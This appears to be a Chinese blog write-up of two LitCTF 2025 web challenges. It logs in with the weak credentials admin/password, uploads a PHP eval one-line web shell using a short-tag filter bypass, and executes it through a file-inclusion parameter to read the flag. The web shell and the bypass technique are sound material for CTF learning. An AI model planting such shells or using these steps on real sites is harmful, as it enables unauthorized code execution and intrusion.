当前位置: 首页 > news >正文

2025LitCTF 复现

easy_file

登录界面

尝试admin 和密码1

没成功

结果尝试了弱口令 admin 用户和 password 密码就登录成功了

文件上传

新建一个空的 新建木马.txt 文件发现上传成功

然后写入一句话木马

<?php @eval($_POST['a']); ?>

上传失败

说明可能是有字符被过滤了,猜测是php标签,然后给它换成短标签

<?=@eval($_POST['a']);?>

发现上传成功,把文件名改一下吧,方便后面访问

结果抓包改后缀上传发现php后缀被过滤

尝试了各种后缀都上传失败,返回看有没有提示的时候突然反应过来题目名是 file,所以尝试一下任意文件读取

思路就是利用 file 读取上传的 xjmuma.txt 文件,然后文件就被解析咯,就可以get shell

那就 file=上传的文件(猜测在当前目录下的 uploads/xjmuma.txt 目录)

发现可以查看 php 配置信息,说明木马文件被解析了

但是这样有一个问题,蚁剑是连不上包含的地址的

所以还是只能用system系统执行命令

system('cat f*');

然后一cat就出flag了

nest_js

又是一个登录界面

也不知道是环境出问题了还是怎么,直接同样用弱口令 admin 用户和 password 密码就登录得到flag了

而且flag是对的

更新中 ing......

相关文章:

  • Java 对接 Office 365 邮箱全攻略:OAuth2 认证 + JDK8 兼容 + Spring Boot 集成(2025 版)
  • DEEPSEEK帮写的STM32消息流函数,直接可用.已经测试
  • PaddleOCR本地部署 (Python+Flask)
  • 【Linux 基础知识系列】第二篇-Linux 发行版概述
  • 代码随想录算法训练营 Day59 图论Ⅸ dijkstra优化版 bellman_ford
  • ADB识别手机系统弹授权框包含某段文字-并自动点击确定按钮
  • HTTP/HTTPS与SOCKS5三大代理IP协议,如何选择最佳协议?
  • Nginx详解(三):ngx_http_rewrite_module模块核心指令详解
  • python同步mysql数据
  • 报错SvelteKitError: Not found: /.well-known/appspecific/com.chrome.devtools.json
  • macOS 安装 Grafana + Prometheus + Node Exporter
  • 命令模式,观察者模式,状态模式,享元模式
  • 支持selenium的chrome driver更新到137.0.7151.55
  • 俄罗斯无人机自主任务规划!UAV-CodeAgents:基于多智能体ReAct和视觉语言推理的可扩展无人机任务规划
  • 【读代码】BabyAGI:自我构建的自主代理框架深度解析
  • VR视角下,浙西南革命的热血重生​
  • spark-AQE/Tungsten介绍及其触发条件
  • 手机打电话时将对方DTMF数字转为RFC2833发给局域网SIP坐席
  • MongoDB(七) - MongoDB副本集安装与配置
  • 性能优化深度实践:突破vue应用性能
  • 公司网站注意事项/百度搜索热度指数
  • 微网站是什么意思/网站推广如何收费
  • 制作校园网站/微信小程序怎么开通
  • 免费爱做网站/网站建设山东聚搜网络
  • 做网站卖得出去吗/百度知道客服
  • wordpress登录没反应/南宁seo